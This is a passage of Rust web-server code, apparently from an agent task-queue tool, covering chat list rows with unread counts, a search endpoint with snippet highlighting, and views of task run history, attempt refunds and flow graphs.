5315 title: Option<talk::ChatTitle>,
5316 id: String,
5317 repo: PathBuf,
5318 agent: String,
5319 status: talk::TalkStatus,
5320 turns: Vec<TalkListTurn>,
5321 turn_count: usize,
5322 unread_count: usize,
5323 context: talk::ContextUsage,
5324 #[serde(skip)]
5325 agent_times: Vec<Timestamp>,
5326 thinking: bool,
5327 created_at: Timestamp,
5328 updated_at: Timestamp,
5329}
5330
5331#[derive(Debug, Clone, Serialize)]
5332struct TalkListTurn {
5333 who: talk::Who,
5334 at: Timestamp,
5335 body: String,
5336}
5337
5338fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5339 let reads: HashMap<String, Timestamp> = headers
5340 .get("x-talk-reads")
5341 .and_then(|v| v.to_str().ok())
5342 .and_then(|v| serde_json::from_str(v).ok())
5343 .unwrap_or_default();
5344 let mut index = ui
5345 .monitor
5346 .talk_index
5347 .lock()
5348 .unwrap_or_else(PoisonError::into_inner);
5349 if index.len() > 1000 {
5351 let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5352 index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5353 if index.len() > 1000 {
5354 index.retain(|id, _| keep.contains(id.as_str()));
5355 }
5356 }
5357 ids.into_iter()
5358 .filter_map(|id| {
5359 let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5360 if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5361 let talk = ui.talks.get(&id).ok()?;
5362 #[cfg(test)]
5363 ui.monitor
5364 .talk_parses
5365 .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5366 let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5367 let last = talk.turns.len().checked_sub(1);
5368 let turns = talk
5369 .turns
5370 .iter()
5371 .enumerate()
5372 .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5373 .map(|(_, t)| TalkListTurn {
5374 who: t.who,
5375 at: t.at,
5376 body: t
5377 .body
5378 .lines()
5379 .next()
5380 .unwrap_or_default()
5381 .chars()
5382 .take(240)
5383 .collect(),
5384 })
5385 .collect();
5386 let row = TalkListView {
5387 title: talk.title.clone(),
5388 agent_times: talk
5389 .turns
5390 .iter()
5391 .filter(|t| t.who == talk::Who::Agent)
5392 .map(|t| t.at)
5393 .collect(),
5394 turn_count: talk.turns.len(),
5395 unread_count: 0,
5396 context: talk::context_usage(&talk, None),
5397 turns,
5398 thinking: false,
5399 id: talk.id,
5400 repo: talk.repo,
5401 agent: talk.agent,
5402 status: talk.status,
5403 created_at: talk.created_at,
5404 updated_at: talk.updated_at,
5405 };
5406 index.insert(id.clone(), (identity, row));
5407 }
5408 let row = &index.get(&id)?.1;
5409 let mut row = TalkListView {
5410 title: row.title.clone(),
5411 unread_count: row
5412 .agent_times
5413 .iter()
5414 .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5415 .count(),
5416 agent_times: Vec::new(),
5417 id: row.id.clone(),
5418 repo: row.repo.clone(),
5419 agent: row.agent.clone(),
5420 status: row.status,
5421 context: row.context.clone(),
5422 turns: row.turns.clone(),
5423 turn_count: row.turn_count,
5424 thinking: false,
5425 created_at: row.created_at,
5426 updated_at: row.updated_at,
5427 };
5428 row.thinking = ui.is_thinking(&id);
5429 Some(row)
5430 })
5431 .collect()
5432}
5433
5434async fn talks_page(
5435 State(ui): State<Arc<Ui>>,
5436 Query(q): Query<PageQuery>,
5437 headers: header::HeaderMap,
5438) -> ApiResult<Json<StorePage<TalkListView>>> {
5439 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5440 let (ids, next) = page_ids(&ui, true, q)?;
5441 Ok(Json(StorePage {
5442 rows: talk_rows(&ui, ids, &headers),
5443 next,
5444 }))
5445 })
5446 .await
5447}
5448
5449async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5450 blocking(move || {
5451 let tasks = ui.indexed_tasks()?;
5452 Ok(Json(TaskCountsView::from(
5453 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5454 )))
5455 })
5456 .await
5457}
5458
5459const SEARCH_MAX_HITS: usize = 100;
5461const SEARCH_MAX_QUERY: usize = 200;
5463const SEARCH_MAX_TERMS: usize = 8;
5464const SNIPPET_BEFORE: usize = 50;
5466const SNIPPET_AFTER: usize = 110;
5467
5468#[derive(Debug, Deserialize)]
5470struct SearchQuery {
5471 #[serde(default)]
5472 scope: String,
5473 #[serde(default)]
5474 q: String,
5475}
5476
5477#[derive(Debug, Serialize, PartialEq, Eq)]
5480struct SnippetPart {
5481 text: String,
5482 hit: bool,
5483}
5484
5485#[derive(Debug, Serialize)]
5486struct SearchHit {
5487 id: String,
5488 field: String,
5490 snippet: Vec<SnippetPart>,
5491 #[serde(skip_serializing_if = "Option::is_none")]
5495 run: Option<RunSummary>,
5496}
5497
5498#[derive(Debug, Serialize)]
5499struct SearchView {
5500 scope: String,
5501 q: String,
5502 hits: Vec<SearchHit>,
5504 total: usize,
5506 truncated: bool,
5507 unreadable: usize,
5510}
5511
5512fn text_leaves<'a>(
5515 value: &'a serde_json::Value,
5516 field: &'a str,
5517 out: &mut Vec<(&'a str, &'a str)>,
5518) {
5519 match value {
5520 serde_json::Value::String(s) => out.push((field, s)),
5521 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5522 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5523 _ => {}
5524 }
5525}
5526
5527fn fold_char(c: char) -> char {
5530 c.to_lowercase().next().unwrap_or(c)
5531}
5532
5533fn search_terms(q: &str) -> Vec<String> {
5535 let mut terms: Vec<String> = Vec::new();
5536 for t in q.split_whitespace() {
5537 let t = t.to_lowercase();
5538 if !terms.contains(&t) {
5539 terms.push(t);
5540 }
5541 }
5542 terms
5543}
5544
5545fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5548 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5549 let mut first: Option<usize> = None;
5550 for term in terms {
5551 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5552 first = Some(first.map_or(at, |f| f.min(at)));
5553 }
5554 let (field, text) = leaves[first?];
5556 Some(SearchHit {
5557 id: String::new(),
5558 field: field.to_owned(),
5559 snippet: snippet_of(text, terms),
5560 run: None,
5561 })
5562}
5563
5564fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5567 let chars: Vec<char> = text.chars().collect();
5568 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5569 let needles: Vec<Vec<char>> = terms
5570 .iter()
5571 .map(|t| t.chars().map(fold_char).collect())
5572 .collect();
5573 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5574 let mut best: Option<(usize, usize)> = None;
5575 for n in needles.iter().filter(|n| !n.is_empty()) {
5576 if n.len() > chars.len() || to == 0 {
5580 continue;
5581 }
5582 let last = (to - 1).min(chars.len() - n.len());
5583 if from > last {
5584 continue;
5585 }
5586 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5587 && best.is_none_or(|(b, _)| i < b)
5588 {
5589 best = Some((i, i + n.len()));
5590 }
5591 }
5592 best
5593 };
5594 let Some((start, _)) = find(0, chars.len()) else {
5595 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5597 return vec![SnippetPart {
5598 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5599 hit: false,
5600 }];
5601 };
5602 let lo = start.saturating_sub(SNIPPET_BEFORE);
5603 let hi = (start + SNIPPET_AFTER).min(chars.len());
5604 let mut parts: Vec<SnippetPart> = Vec::new();
5605 let mut push = |s: &[char], hit: bool| {
5606 if s.is_empty() {
5607 return;
5608 }
5609 let text: String = s.iter().collect();
5610 match parts.last_mut() {
5611 Some(p) if p.hit == hit => p.text.push_str(&text),
5612 _ => parts.push(SnippetPart { text, hit }),
5613 }
5614 };
5615 if lo > 0 {
5616 push(&['\u{2026}'], false);
5617 }
5618 let mut at = lo;
5619 while at < hi {
5620 match find(at, hi) {
5621 Some((s, e)) => {
5622 push(&chars[at..s], false);
5623 let shown = e.min(hi);
5625 push(&chars[s..shown], true);
5626 at = shown;
5627 }
5628 None => {
5629 push(&chars[at..hi], false);
5630 at = hi;
5631 }
5632 }
5633 }
5634 if hi < chars.len() {
5635 push(&['\u{2026}'], false);
5636 }
5637 let mut prev_space = false;
5640 for p in &mut parts {
5641 let mut out = String::with_capacity(p.text.len());
5642 for c in p.text.chars() {
5643 if c.is_whitespace() {
5644 if !prev_space {
5645 out.push(' ');
5646 }
5647 prev_space = true;
5648 } else {
5649 out.push(c);
5650 prev_space = false;
5651 }
5652 }
5653 p.text = out;
5654 }
5655 parts.retain(|p| !p.text.is_empty());
5656 parts
5657}
5658
5659fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5661where
5662 I: IntoIterator<Item = (String, serde_json::Value)>,
5663{
5664 for (id, doc) in docs {
5665 let mut leaves = Vec::new();
5666 leaves.push(("id", id.as_str()));
5669 text_leaves(&doc, "", &mut leaves);
5670 if let Some(mut hit) = search_document(terms, &leaves) {
5671 view.total += 1;
5672 if view.hits.len() < SEARCH_MAX_HITS {
5673 hit.id = id;
5674 view.hits.push(hit);
5675 }
5676 }
5677 }
5678 view.truncated = view.total > view.hits.len();
5679}
5680
5681fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5687 let opener = talk
5688 .title
5689 .as_ref()
5690 .filter(|t| !t.text.is_empty())
5691 .map(|t| t.text.as_str())
5692 .or_else(|| {
5693 talk.turns
5694 .iter()
5695 .find(|t| t.who == talk::Who::Operator)
5696 .map(|t| t.body.as_str())
5697 })
5698 .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5699 .unwrap_or("");
5700 let title: String = if opener.chars().count() > 96 {
5701 opener.chars().take(95).chain(['\u{2026}']).collect()
5702 } else {
5703 opener.to_owned()
5704 };
5705 let turns: Vec<serde_json::Value> = talk
5706 .turns
5707 .iter()
5708 .map(|t| {
5709 let who = match t.who {
5710 crate::talk::Who::Operator => "operator",
5711 crate::talk::Who::Agent => "agent",
5712 };
5713 serde_json::json!({ who: t.body })
5714 })
5715 .collect();
5716 serde_json::json!({ "title": title, "turns": turns })
5717}
5718
5719async fn search_get(
5726 State(ui): State<Arc<Ui>>,
5727 Query(q): Query<SearchQuery>,
5728) -> ApiResult<Json<SearchView>> {
5729 let query = q.q.trim().to_owned();
5730 if query.is_empty() {
5731 return Err(ApiError::bad_request("q must not be empty"));
5732 }
5733 if query.chars().count() > SEARCH_MAX_QUERY {
5734 return Err(ApiError::bad_request(format!(
5735 "q is longer than {SEARCH_MAX_QUERY} characters"
5736 )));
5737 }
5738 let terms = search_terms(&query);
5739 if terms.len() > SEARCH_MAX_TERMS {
5740 return Err(ApiError::bad_request(format!(
5741 "q has more than {SEARCH_MAX_TERMS} terms"
5742 )));
5743 }
5744 let scope = q.scope;
5745 if scope != "runs" && scope != "tasks" && scope != "chats" {
5746 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5747 }
5748 blocking(move || {
5749 let mut view = SearchView {
5750 scope: scope.clone(),
5751 q: query,
5752 hits: Vec::new(),
5753 total: 0,
5754 truncated: false,
5755 unreadable: 0,
5756 };
5757 if scope == "runs" {
5758 let mut unreadable = 0;
5759 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5763 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5764 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5765 Some(v) => Some((id, v)),
5766 None => {
5767 unreadable += 1;
5768 None
5769 }
5770 }
5771 });
5772 search_docs(&terms, docs, &mut view);
5773 view.unreadable = unreadable;
5774 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5777 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5778 for hit in &mut view.hits {
5779 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5780 hit.run = summarize(
5781 [state],
5782 &open_runs,
5783 &claimed,
5784 &superseded,
5785 |p| probe.borrow_mut().status(p),
5786 |p| probe.borrow_mut().started_at(p),
5787 )
5788 .pop();
5789 }
5790 }
5791 } else if scope == "chats" {
5792 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5793 view.unreadable = unreadable;
5794 search_docs(
5795 &terms,
5796 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5797 &mut view,
5798 );
5799 } else {
5800 let docs = ui.queue.list().into_iter().filter_map(|t| {
5801 let mut v = serde_json::to_value(&t).ok()?;
5802 if let Some(o) = v.as_object_mut() {
5805 o.insert("filed_by".to_owned(), t.source.label().into());
5806 }
5807 Some((t.id, v))
5808 });
5809 search_docs(&terms, docs, &mut view);
5810 }
5811 Ok(Json(view))
5812 })
5813 .await
5814}
5815
5816#[derive(Debug, Serialize)]
5818struct TaskRunView {
5819 n: usize,
5821 id: String,
5822 short: String,
5823 kind: &'static str,
5825 status: Option<&'static str>,
5827 readable: bool,
5829 provisional: bool,
5831 description: String,
5833 outcome: String,
5835 created_at: Option<Timestamp>,
5836 pr: Option<String>,
5837 exit: RunExit,
5839 attempt: AttemptCost,
5841 exit_label: String,
5844 later_pass: Option<usize>,
5847 pass_n: usize,
5851 passes_of_run: usize,
5852 pass: Option<PassView>,
5855 branch: Option<String>,
5857 badge: Option<String>,
5860}
5861
5862#[derive(Debug, Clone, PartialEq, Serialize)]
5864struct PassView {
5865 index: usize,
5866 resumed: bool,
5867 started_at: Timestamp,
5868 ended_at: Option<Timestamp>,
5869 end: &'static str,
5871 cause: Option<crate::run::ParkCause>,
5872 label: String,
5874 cost: Option<crate::queue::PassCost>,
5877}
5878
5879impl PassView {
5880 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5881 use crate::run::PassEnd;
5882 let (end, cause, label) = match &p.end {
5883 None => ("open", None, "still open".to_owned()),
5884 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5885 Some(PassEnd::Unrecorded) => (
5886 "unrecorded",
5887 None,
5888 "stopped without recording why (a crash, a kill or a restart; not known)"
5889 .to_owned(),
5890 ),
5891 };
5892 Self {
5893 index: p.index,
5894 resumed: p.resumed,
5895 started_at: p.started_at,
5896 ended_at: p.ended_at,
5897 end,
5898 cause,
5899 label,
5900 cost: settled.map(|t| t.cost),
5901 }
5902 }
5903}
5904
5905#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5907#[serde(rename_all = "snake_case")]
5908enum RunExit {
5909 Unreadable,
5910 Interrupted,
5912 Parked,
5913 MachineBlocked,
5914 QuotaStall,
5915 ResumedQuotaStall,
5919 Merged,
5920 Ready,
5921 Superseded,
5922 AlreadyInBase,
5925 Stalled,
5927 HeldWithPr,
5929 NoopHeld,
5930 Spent,
5932 InProgress,
5933}
5934
5935#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5936#[serde(rename_all = "snake_case")]
5937enum AttemptCost {
5938 Spent,
5939 Refunded,
5940 None,
5941 Unknown,
5943}
5944
5945impl RunExit {
5946 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5947 let Some(s) = s else {
5948 return Self::Unreadable;
5949 };
5950 let status = s.status;
5951 if resumed_later {
5952 Self::Interrupted
5953 } else if s.parked {
5954 Self::Parked
5955 } else if status == RunStatus::Blocked && s.resource_block.is_some() {
5956 Self::MachineBlocked
5957 } else if !status.done() {
5958 Self::InProgress
5959 } else if matches!(status, RunStatus::Merged) {
5960 Self::Merged
5961 } else if matches!(status, RunStatus::Ready) {
5962 Self::Ready
5963 } else if matches!(status, RunStatus::Superseded) {
5964 Self::Superseded
5965 } else if matches!(status, RunStatus::AlreadyInBase) {
5966 Self::AlreadyInBase
5967 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5968 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5969 {
5970 if resumed {
5971 Self::ResumedQuotaStall
5972 } else {
5973 Self::QuotaStall
5974 }
5975 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5976 Self::HeldWithPr
5977 } else if matches!(status, RunStatus::VerifiedNoop) {
5978 Self::NoopHeld
5979 } else if matches!(status, RunStatus::Stalled) {
5980 Self::Stalled
5981 } else {
5982 Self::Spent
5983 }
5984 }
5985
5986 fn cost(self) -> AttemptCost {
5987 match self {
5988 Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
5989 Self::Merged
5990 | Self::Ready
5991 | Self::Stalled
5992 | Self::HeldWithPr
5993 | Self::NoopHeld
5994 | Self::Spent => AttemptCost::Spent,
5995 Self::InProgress => AttemptCost::None,
5996 Self::AlreadyInBase => AttemptCost::Refunded,
5997 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5998 AttemptCost::Unknown
5999 }
6000 }
6001 }
6002
6003 fn edge_label(self, status: Option<&str>) -> String {
6005 match self {
6006 Self::Unreadable => "record unreadable".to_owned(),
6007 Self::Interrupted => "interrupted before the run finished".to_owned(),
6008 Self::Parked => "parked, attempt refunded".to_owned(),
6009 Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6010 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6011 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6012 Self::Merged => "merged".to_owned(),
6013 Self::Ready => "ready, not merged".to_owned(),
6014 Self::Superseded => "superseded by a later attempt".to_owned(),
6015 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6016 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6017 Self::HeldWithPr => "blocked, PR left open".to_owned(),
6018 Self::NoopHeld => "verified no-op".to_owned(),
6019 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6020 Self::InProgress => "in progress".to_owned(),
6021 }
6022 }
6023
6024 fn explains(self, end: TaskStatus) -> bool {
6027 match self {
6028 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6029 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6030 Self::Unreadable | Self::Superseded | Self::Ready => true,
6031 _ => end != TaskStatus::Done,
6032 }
6033 }
6034}
6035
6036#[derive(Debug, Serialize)]
6038struct TaskDetailView {
6039 #[serde(flatten)]
6040 task: TaskView,
6041 max_attempts: usize,
6044 history: Vec<TaskRunView>,
6045 passes_total: usize,
6048 runs_distinct: usize,
6050 flow: FlowView,
6051 followup_origin: Option<FollowUpOrigin>,
6053 runs_unreadable: usize,
6055 attempts_note: &'static str,
6057}
6058
6059const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6060and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6061on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6062the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6063
6064fn review_branch_of(instruction: &str) -> Option<&str> {
6067 let rest = instruction.strip_prefix("Review the work already on branch `")?;
6068 rest.split('`').next().filter(|b| !b.is_empty())
6069}
6070
6071#[derive(Default)]
6073struct RunSlot<'a> {
6074 n: usize,
6076 resumed: bool,
6078 resumed_later: Option<usize>,
6080 prior: Option<(&'a str, RunStatus)>,
6082 last: bool,
6083 pass: Option<&'a crate::run::RunPass>,
6085 settled: Option<&'a crate::queue::TaskPass>,
6087 pass_n: usize,
6089 passes_of_run: usize,
6090}
6091
6092fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6095 let RunSlot {
6096 n,
6097 resumed,
6098 resumed_later,
6099 prior,
6100 last,
6101 pass,
6102 settled,
6103 pass_n,
6104 passes_of_run,
6105 } = at;
6106 let short = run::short_of(id).to_owned();
6107 let Some(s) = state else {
6108 return TaskRunView {
6109 n,
6110 id: id.to_owned(),
6111 short,
6112 kind: "unknown",
6113 status: None,
6114 readable: false,
6115 provisional: false,
6116 description:
6117 "This run's record could not be read by this build (written by a different \
6118 magi, or removed), so what kind of attempt it was is unknown."
6119 .to_owned(),
6120 outcome: String::new(),
6121 created_at: None,
6122 pr: None,
6123 exit: RunExit::Unreadable,
6124 attempt: AttemptCost::Unknown,
6125 exit_label: RunExit::Unreadable.edge_label(None),
6126 later_pass: resumed_later,
6127 pass_n,
6128 passes_of_run,
6129 pass: None,
6130 branch: None,
6131 badge: None,
6132 };
6133 };
6134 let branch = review_branch_of(&s.instruction);
6135 let kind = if resumed {
6136 "resume"
6137 } else if branch.is_some() {
6138 "review"
6139 } else if task.solo || s.candidates.len() == 1 {
6140 "solo"
6141 } else {
6142 "competition"
6143 };
6144 let mut description = match kind {
6145 "resume" => {
6146 format!("Resumed run {short}: the same run carried on instead of competing again.")
6147 }
6148 "review" => format!(
6149 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6150 branch.unwrap_or_default()
6151 ),
6152 "solo" => "Solo run: one implementer straight into review.".to_owned(),
6153 _ => format!(
6154 "Competition: {} candidates judged blind.",
6155 s.candidates.len().max(1)
6156 ),
6157 };
6158 if !resumed && let Some((p, st)) = prior {
6159 description.push_str(&format!(
6160 " A retry: run {p} before it ended {}.",
6161 st.display_label()
6162 ));
6163 }
6164
6165 let status = s.status;
6166 let provisional = matches!(status, RunStatus::Stalled)
6167 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6168 let head = if resumed_later.is_some() {
6169 String::new()
6170 } else {
6171 match status {
6172 RunStatus::Merged => "Merged.".to_owned(),
6173 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6174 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6175 RunStatus::AlreadyInBase => {
6176 "Already in the base: this change landed under other commits, nothing was left to land."
6177 .to_owned()
6178 }
6179 RunStatus::Stalled => {
6180 "Stalled: the judging panel never reached a quorum, so there is no verdict."
6181 .to_owned()
6182 }
6183 RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6184 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6185 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6186 RunStatus::VerifiedNoop => {
6187 "Verified no-op: the candidates found nothing to change.".to_owned()
6188 }
6189 other if other.done() => format!("Ended {}.", other.display_label()),
6190 other => format!("In progress ({}).", other.display_label()),
6191 }
6192 };
6193 let view = pass.map(|p| PassView::of(p, settled));
6194 let recorded_end = view
6195 .as_ref()
6196 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6197 let cost_words = match view.as_ref().and_then(|v| v.cost) {
6198 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6199 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6200 None => "whether its attempt was handed back was not recorded",
6201 };
6202 let pass_note = if passes_of_run > 1 {
6203 format!(
6204 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6205 )
6206 } else {
6207 String::new()
6208 };
6209 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6210 let cause = match v.end {
6212 "parked" => format!("It was stopped on purpose: {}.", v.label),
6213 _ => format!("It {}.", v.label),
6214 };
6215 format!(
6216 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6217 capitalise(cost_words)
6218 )
6219 } else if let Some(k) = resumed_later {
6220 let cause = if s.quota.is_empty() {
6227 "the cause was not recorded: a park, a crash or a restart all look the same from here"
6228 } else {
6229 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6230 };
6231 format!(
6232 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6233 )
6234 } else if s.parked {
6235 match recorded_end.and_then(|v| v.cause.as_ref()) {
6236 Some(cause) => format!(
6237 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6238 cause.label(),
6239 cost_words
6240 ),
6241 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6242 .to_owned(),
6243 }
6244 } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6245 " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6246 } else if !status.done()
6247 || matches!(
6248 status,
6249 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6250 )
6251 {
6252 String::new()
6253 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6254 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6255 {
6256 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6257 .to_owned()
6258 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6259 " It left a pull request open, so the task was held for a person rather than retried."
6260 .to_owned()
6261 } else if matches!(status, RunStatus::VerifiedNoop) {
6262 " Held for a person to check the claim.".to_owned()
6263 } else if last {
6264 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6265 } else {
6266 " It spent an attempt, and the task moved on to the next run.".to_owned()
6267 };
6268 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6269 let mut attempt = exit.cost();
6270 let mut exit_label = None;
6271 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6272 let spent = match v.cost {
6273 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6274 Some(crate::queue::PassCost::Spent) => ", attempt counted",
6275 None if resumed_later.is_some() => ", refund not recorded",
6276 None => ", attempt refunded",
6277 };
6278 attempt = match v.cost {
6279 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6280 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6281 None if resumed_later.is_some() => AttemptCost::Unknown,
6282 None => attempt,
6283 };
6284 if v.end == "parked" {
6285 exit = RunExit::Parked;
6286 exit_label = Some(match v.cause.as_ref() {
6287 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6288 format!("parked for {}{spent}", c.label())
6289 }
6290 Some(c) => format!("parked ({}){spent}", c.label()),
6291 None => format!("parked{spent}"),
6292 });
6293 } else {
6294 exit_label = Some(format!("stopped without a recorded cause{spent}"));
6295 }
6296 }
6297 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6298 TaskRunView {
6299 n,
6300 id: id.to_owned(),
6301 short,
6302 kind,
6303 status: Some(status.as_str()),
6304 readable: true,
6305 provisional,
6306 description,
6307 outcome: format!("{head}{why}"),
6308 created_at: Some(s.created_at),
6309 pr: s.pr.as_ref().map(|p| p.url.clone()),
6310 exit,
6311 attempt,
6312 exit_label,
6313 later_pass: resumed_later,
6314 pass_n,
6315 passes_of_run,
6316 pass: view,
6317 branch: branch.map(str::to_owned),
6318 badge: None,
6319 }
6320}
6321
6322fn capitalise(s: &str) -> String {
6323 let mut c = s.chars();
6324 c.next().map_or_else(String::new, |f| {
6325 f.to_uppercase().collect::<String>() + c.as_str()
6326 })
6327}
6328
6329#[derive(Debug, Serialize, PartialEq)]
6331struct FlowNode {
6332 key: String,
6334 kind: &'static str,
6336 label: String,
6337 status: Option<&'static str>,
6340 status_of: &'static str,
6343 note: Option<&'static str>,
6345 run_kind: Option<&'static str>,
6346 detail: Option<String>,
6347 decided: bool,
6349 readable: bool,
6350 href: Option<String>,
6351 badge: Option<String>,
6353 started_at: Option<Timestamp>,
6355 time_expected: bool,
6357}
6358
6359#[derive(Debug, Serialize, PartialEq)]
6360struct FlowEdge {
6361 from: String,
6362 to: String,
6363 label: String,
6364 attempt: AttemptCost,
6365}
6366
6367#[derive(Debug, Serialize, PartialEq)]
6368struct FlowView {
6369 nodes: Vec<FlowNode>,
6370 edges: Vec<FlowEdge>,
6371 attempts: usize,
6373 max_attempts: usize,
6374 passes: usize,
6377 runs: usize,
6378}
6379
6380fn task_flow(
6389 task: &Task,
6390 history: &[TaskRunView],
6391 max_attempts: usize,
6392 origin: Option<&FollowUpOrigin>,
6393) -> FlowView {
6394 let max_attempts = task.effective_attempt_limit(max_attempts);
6395 let node = |key: &str, kind, label: String| FlowNode {
6396 key: key.to_owned(),
6397 kind,
6398 label,
6399 status: None,
6400 status_of: "run",
6401 note: None,
6402 run_kind: None,
6403 detail: None,
6404 decided: false,
6405 readable: true,
6406 href: None,
6407 badge: None,
6408 started_at: None,
6409 time_expected: matches!(kind, "start" | "run" | "end"),
6410 };
6411 let mut nodes = Vec::new();
6412 let mut edges: Vec<FlowEdge> = Vec::new();
6413 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6415 let mut n = node(
6416 "chat",
6417 "chat",
6418 format!("Chat {}", crate::queue::short(&link.id)),
6419 );
6420 n.href = Some(link.href);
6421 nodes.push(n);
6422 edges.push(FlowEdge {
6423 from: "chat".to_owned(),
6424 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6425 label: "queued from chat".to_owned(),
6426 attempt: AttemptCost::None,
6427 });
6428 }
6429 if let Some(o) = origin {
6430 let mut n = match &o.parent {
6431 Some(p) => {
6432 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6433 n.status = Some(p.status);
6434 n.status_of = "task";
6435 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6436 n.href = Some(p.href.clone());
6437 n
6438 }
6439 None => {
6440 let mut n = node(
6441 "origin",
6442 "followup",
6443 format!("Follow-up of run {}", o.run.short),
6444 );
6445 n.detail = Some("merged run".to_owned());
6446 n.status = o.run.status;
6447 n.href = o.run.href.clone();
6448 if o.run.href.is_none() {
6449 n.readable = false;
6450 n.note = Some("unreadable");
6451 }
6452 n
6453 }
6454 };
